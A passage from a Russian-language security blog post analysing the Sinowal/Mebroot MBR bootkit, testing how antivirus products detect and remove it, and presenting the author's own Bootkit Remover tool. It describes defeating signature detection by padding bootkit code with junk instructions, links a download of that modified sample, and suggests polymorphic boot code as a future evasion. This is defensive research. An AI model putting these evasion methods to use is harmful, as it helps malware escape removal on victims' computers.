MBR.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Предыстория&lt;/h3&gt;Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:&lt;br /&gt;&lt;a href="http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf"&gt;http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими  удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?&lt;br /&gt;&lt;ul&gt;&lt;li style="list-style-type: decimal;"&gt;В процессе заражения компьютера дроппер буткита модифицирует код главной загрузочной записи (MBR). Работающий в системе троянец не виден в качестве файла, он "живёт" исключительно в MBR и первых секторах диска, которые не относятся к какому-либо разделу.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;Во время загрузки системы, MBR-код буткита перехватывает процедуру чтения ядра операционной системы с диска, для осуществления патчинга вызова функции IoInitSystem рядом с точкой входа. После этого (так же как и в случае с легитимным загрузочным кодом) дальнейшее управление процессом загрузки передаётся загрузочному коду системного раздела, который, в свою очередь, считывает и запускает загрузчик операционной системы (ntldr).&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;По завершению второй стадии загрузки, загрузчик операционной системы передаёт управление ядру, но из-за установленного перехвата вызова IoInitSystem выполняется код буткита, который осуществляет проецирование в память драйвера с основным функционалом троянца.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;Драйвер троянца устанавливает перехваты на драйвера дисковой подсистемы, которые, при попытке чтения модифицированного MBR, возвращают сохранённую копию оригинального загрузочного сектора.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;На более поздних этапах инициализации и работы системы в процессы пользовательского режима драйвером внедряется код, который осуществляет взаимодействие троянца с командным центром а так же представляет собой spyware, ориентированный на кражу аккаунтов для доступа к системам онлайн-банкинга.&lt;/li&gt;&lt;/ul&gt;Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз. &lt;br /&gt;&lt;br /&gt;Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:&lt;br /&gt;&lt;a href="http://www2.gmer.net/mbr/"&gt;http://www2.gmer.net/mbr/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:&lt;br /&gt;&lt;a href="http://www.securelist.com/ru/analysis/204007635/Butkit_vyzov_2008"&gt;http://www.securelist.com/ru/analysis/204007635/Butkit_vyzov_2008&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securelist.com/ru/analysis/204007605/Sovremennye_informatsionnye_ugrozy_I_kvartal_2008"&gt;http://www.securelist.com/ru/analysis/204007605/Sovremennye_informatsionnye_ugrozy_I_kvartal_2008&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:&lt;br /&gt;&lt;a href="http://www.securelist.com/ru/analysis/204007655/Butkit_2009"&gt;http://www.securelist.com/ru/analysis/204007655/Butkit_2009&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Тестирование&lt;/h3&gt;Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».&lt;br /&gt;&lt;br /&gt;К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.&lt;br /&gt;Итак, перед нами:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;McAfee VirusScan&lt;/b&gt; 13.15.101&lt;/li&gt;&lt;li&gt;&lt;b&gt;Dr.Web CureIt!&lt;/b&gt; 5.0.2.9230&lt;/li&gt;&lt;li&gt;&lt;b&gt;Kaspersky Antivirus 2009&lt;/b&gt; 9.0.0.463&lt;/li&gt;&lt;li&gt;&lt;b&gt;ESET NOD32&lt;/b&gt; 4.0.437.0&lt;/li&gt;&lt;li&gt;&lt;b&gt;Avast Pro&lt;/b&gt; 4.8.1356.0&lt;/li&gt;&lt;li&gt;&lt;b&gt;Symantec Trojan.Mebroot Removal Tool&lt;/b&gt; 1.0.1.0&lt;/li&gt;&lt;li&gt;&lt;b&gt;F-Secure BlackLight&lt;/b&gt; 2.2.1092.0&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.&lt;br /&gt;&lt;br /&gt;Перейдём к делу.&lt;br /&gt;Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.&lt;br /&gt;&lt;ul&gt;&lt;li style="list-style-type: decimal;"&gt;Самый обычный сампл Sinowal-а второго поколения, дроппер которого датирован концом мая 2009-го года (&lt;a href="http://www.virustotal.com/analisis/b29a3d803c513b4ce3b5e10c1455669ccc3581b3d01270840d509af70e3b4130-1243663256"&gt;VirusTotal&lt;/a&gt;).&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;Модифицированная версия Sinowal-а которая была полученна следующим образом: я дизассемблировал код загрузочной записи руткита, прочитанный с зараженной машины, модифицировал его, разбавив мусорными xor-ами и nop-ами и с целью сбития сигнатуры, и после ассембилрования записал обратно на диск. Код доступен для скачивания здесь: &lt;br /&gt;&lt;a href="http://www.esagelab.com/files/sinowal-b_modified.zip"&gt;http://www.esagelab.com/files/sinowal-b_modified.zip&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/22903093/blog/bootkit-remover/modified-bootcode.png"&gt;&lt;br /&gt;&lt;i&gt;Модифицированный загрузочный код буткита (добавленные инструкции выделены).&lt;/i&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;Stoned Bootkit. Это очередной концептуальный буткит, который был представлен на конференции BlackHat в этом году. Публично доступная версия буткита является сильно урезанной: кроме инфектора и, собственно, загрузочного кода в ней фактически ничего нет. Дополнительная информация доступна на сайте проекта: &lt;br /&gt;&lt;a href="http://www.stoned-vienna.com/"&gt;http://www.stoned-vienna.com/&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.&lt;br /&gt;Пример лога:&lt;br /&gt;&lt;pre&gt;==============================================&lt;br /&gt;&gt;Stealth&lt;br /&gt;==============================================&lt;br /&gt;0x8122CB80 Page with executable code [ ETHREAD 0x81400DA8 ] TID: 256, size: 1152 bytes&lt;br /&gt;0x811E9B29 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 1239 bytes&lt;br /&gt;0x811E6B13 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1261 bytes&lt;br /&gt;0x811BAB07 Page with executable code [ ETHREAD 0x81416570 ] TID: 744, size: 1273 bytes&lt;br /&gt;0x81202AF1 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1295 bytes&lt;br /&gt;0x81208A55 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1451 bytes&lt;br /&gt;0x811DA9B1 Page with executable code [ ETHREAD 0x815BB8F8 ] TID: 684, size: 1615 bytes&lt;br /&gt;0x811E78F8 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1800 bytes&lt;br /&gt;0x811E87B9 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 2119 bytes&lt;br /&gt;0x811BB6B2 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2382 bytes&lt;br /&gt;0x811C3581 Page with executable code [ ETHREAD 0x81661A90 ] TID: 748, size: 2687 bytes&lt;br /&gt;0x811DE4A3 Page with executable code [ ETHREAD 0x817CB810 ] TID: 24, size: 2909 bytes&lt;br /&gt;0x8120648C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2932 bytes&lt;br /&gt;0x811E841F Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3041 bytes&lt;br /&gt;0x8121F419 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3047 bytes&lt;br /&gt;0x8121E3CA Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3126 bytes&lt;br /&gt;0x811EC3B6 Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3146 bytes&lt;br /&gt;0x811FE321 Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3295 bytes&lt;br /&gt;0x811FE25E Page with executable code [ ETHREAD 0x81400B20 ] TID: 264, size: 3490 bytes&lt;br /&gt;0x811FB20A Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3574 bytes&lt;br /&gt;0x8120EA80 Unknown thread object [ ETHREAD 0x813F3DA8 ] TID: 248, size: 592 bytes&lt;br /&gt;0x811FB187 Unknown thread object [ ETHREAD 0x813F3B20 ] TID: 252, size: 592 bytes&lt;br /&gt;0x8122CAF7 Unknown thread object [ ETHREAD 0x81400DA8 ] TID: 256, size: 592 bytes&lt;br /&gt;0x811FE119 Unknown thread object [ ETHREAD 0x81400B20 ] TID: 264, size: 592 bytes&lt;br /&gt;0x8123FDF0 Unknown thread object [ ETHREAD 0x816EB030 ] TID: 560, size: 592 bytes&lt;br /&gt;0x811C3417 Unknown thread object [ ETHREAD 0x8165BDA8 ] TID: 648, size: 592 bytes&lt;br /&gt;0x811C0D7C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 644 bytes&lt;br /&gt;0x811D5D2D Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 723 bytes&lt;br /&gt;0x8120ED0B Page with executable code [ ETHREAD 0x813F3DA8 ] TID: 248, size: 757 bytes&lt;/pre&gt;Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.&lt;br /&gt;Результаты тестирования привожу в виде таблицы (детектирование/удаление).&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;table border="1" cellspacing="0" cellpadding="5" style="border: 1px solid #000000; border-collapse: collapse"&gt;&lt;tr&gt;&lt;td bgcolor="#EEEEEE"&gt;&lt;/td&gt;&lt;td align="center" width="140" bgcolor="#EEEEEE"&gt;Sinowal-b&lt;/td&gt;&lt;td align="center" width="140" bgcolor="#EEEEEE"&gt;Sinowal-b Modified&lt;/td&gt;&lt;td align="center" width="140" bgcolor="#EEEEEE"&gt;Stoned Bootkit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;McAfee VirusScan&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Dr.Web CureIt!&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;Kaspersky Antivirus 2009&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;ESET NOD32&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right" bgcolor="#EEEEEE"&gt;RootRepeal&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="green"&gt;+&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center"&gt;&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;/&lt;b&gt;&lt;font color="red"&gt;&amp;#150;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br /&gt;В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.&lt;br /&gt;&lt;ul&gt;&lt;li style="list-style-type: decimal;"&gt;&lt;b&gt;Почему в первом тесте NOD32 не смог вылечить активное заражение?&lt;/b&gt;&lt;br /&gt;Если честно, для меня самого это осталось загадкой, особенно с учётом того, что ESET зарелизил отдельную утилиту-ремовер, замечательно справляющуюся с удалением не модифицированного Sinowal-а обеих поколений. Однако, в силу того что среднестатистический пользователь вряд ли додумается найти и использовать эту утилиту, я посчитал более справедливым включить в тестирование именно "большой" продукт.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;&lt;b&gt;Почему во втором тесте большинство продуктов от антивирусных компаний смогли детектировать буткит, но не смогли с ним ничего сделать?&lt;/b&gt;&lt;br /&gt;На самом деле, речь идёт всего-лишь о детекте драйвера буткита в памяти, а не вредоносного кода в главной загрузочной записи. Полная бесполезность подобного детектирования очевидна.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;&lt;b&gt;А почему антивирусы не смогли детектировать модифицированный загрузочный код буткита?&lt;/b&gt;&lt;br /&gt;Это звучит пугающе, но загрузочный код детектируется исключительно сигнатурно. Да, вы не ослышались, это полный и невообразимый пиздец: активный руткит, который легко идентифицировать по подменённому загрузочному коду (при попытке его считывания стандартными средствами) напрочь игнорируется, если сгнатуры этого самого загрузочного кода нет в базе. Удивительно, но всего за десять минут работы мы смогли проапгрейдить версию зловреда почти пятимесячной давности таким образом, что удалить её не смог ни один антивирус.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;&lt;b&gt;Но ведь RootRepeal замечательно справляется с удалением буткита в первых двух тестах?&lt;/b&gt;&lt;br /&gt;Да, справляется. Автор этого антируткита написал "правильный" детект, который срабатывает именно в случае обнаружения аномалии (несоответствие загрузочного кода при попытке его чтения разными средствами). На лицо повторение ситуации, которая какое-то время назад сложилась и в области классических руткитов: бесплатная утилита, написанная энтузиастом-одиночкой справляется с лечением технически сложных троянов гораздо лучше, чем продукты больших компаний, в написание которых было вложенно огромное количество материальных ресурсов и человеко-часов.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;&lt;b&gt;Почему почти никто не детектирует и не лечит Stoned Bootkit?&lt;/b&gt;&lt;br /&gt;С RootRepeal-ом всё просто: это антируткит, и его задачей является исключительно детектирование аномалий. Stoned никак не скрывает свой код в MBR, из-за этого и игнорируется антируткитом. Однако, подобная формулировка не сможет служить оправданием в случае с антивирусами. На первый взгляд, может показатся что детектировать ничего не делающий концепт действительно бессмысленно (исключение составили только ESET, которые, видимо, удосужились потратить две минуты на скачивание инфектора и добавления сигнатуры в базу), но давайте мыслить шире. Вирусописатель вполне может использовать полиморфный движок для генерации уникального загрузочного кода в каждом конкретном случае заражения, блокируя после этого попытки его модификации/перезаписи, вместо перехвата процедуры чтения. Таким образом, в течении того времени, что потребуется антивирусным компаниям на анализ сампла, написание и тестирование процедуры детекта/удаления, новый зловред получит возможность невозбранно поселиться хоть на сотнях тысяч компьютеров.&lt;/li&gt;&lt;/ul&gt;Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;Утилита&lt;/h3&gt;В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:&lt;br /&gt;&lt;ul&gt;&lt;li style="list-style-type: decimal;"&gt;Корректно детектирует и лечит активное заражение как распространенных in the wild буткитов (включая все модификации Sinowal/Mebroot), так и неизвестных зловредов подобного класса.&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;Протестирована и работает на 32-х и 64-х разрядных операционных системах Microsoft Windows XP, Server 2003, Vista, Server 2008 и Windows 7 (RC1 и RTM).&lt;/li&gt;&lt;li style="list-style-type: decimal;"&gt;Работает исключительно из режима пользователя, без использования драйверов и каких-либо недокументированных механизмов и функций операционной системы.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;img src="http://dl.dropbox.com/u/22903093/blog/bootkit-remover/bootkit-remover.png"&gt;&lt;br /&gt;&lt;i&gt;Bootkit Remover нашел активный Sinowal-b.&lt;/i&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Ремовер простой в использовании. Утилита работает из командной строки (необходимы права администратора).&lt;br /&gt;&lt;br /&gt;Проверка MBR для всех физических накопителей: &lt;br /&gt;&lt;pre&gt;&gt; remover.exe&lt;/pre&gt;В отчете сканирования выводится один из трех вердиктов для каждого &lt;br /&gt;физического накопителя:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;OK (DOS/Win32 Boot code found)&lt;/b&gt; - MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Unknown boot code&lt;/b&gt; - MBR содержит неизвестный загрузочный код. На практике это может означать то, что в системе присутствует буткит который не скрывает модифицированный загрузочный код. Кроме того, подобный статус будет выводится в случае использования какого-либо нестандартного мененджера загрузки (например, GRUB).&lt;/li&gt;&lt;li&gt;&lt;b&gt;Controlled by rootkit!&lt;/b&gt; - в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами (именно так детектируется Sinowal/Mebroot).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Восстановление оригинального загрузочного кода Windows:&lt;br /&gt;&lt;pre&gt;&gt; remover.exe fix &amp;lt;device&amp;gt;&lt;/pre&gt;... где &amp;lt;device&amp;gt; - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).&lt;br /&gt;&lt;br /&gt;Дамп загрузочного кода в консоль или в файл:&lt;br /&gt;&lt;pre&gt;&gt; remover.exe dump &amp;lt;device&amp;gt; [output_file]&lt;/pre&gt;... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;*** ВНИМАНИЕ!&lt;/b&gt;&lt;br /&gt;&lt;i&gt;При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Загрузить утилиту можно &lt;a href="http://www.esagelab.com/files/bootkit_remover.rar"&gt;здесь&lt;/a&gt;.&lt;br /&gt;По вопросам работы ремовера связываться со мной лучше всего по е-mail: &lt;a href="mailto:dmitry@esagelab.ru"&gt;dmitry@esagelab.ru&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-6938197322515958231?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/6938197322515958231/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2010/12/%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7-%D0%B8-%D0%BE%D0%B1%D0%BD%D0%B0%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B1%D1%83%D1%82%D0%BA%D0%B8%D1%82%D0%B0-sinowal.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/6938197322515958231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/6938197322515958231'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2010/12/%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7-%D0%B8-%D0%BE%D0%B1%D0%BD%D0%B0%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B1%D1%83%D1%82%D0%BA%D0%B8%D1%82%D0%B0-sinowal.html' title='Анализ и обнаружение буткита Sinowal'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>0</thr:total></entry></feed>
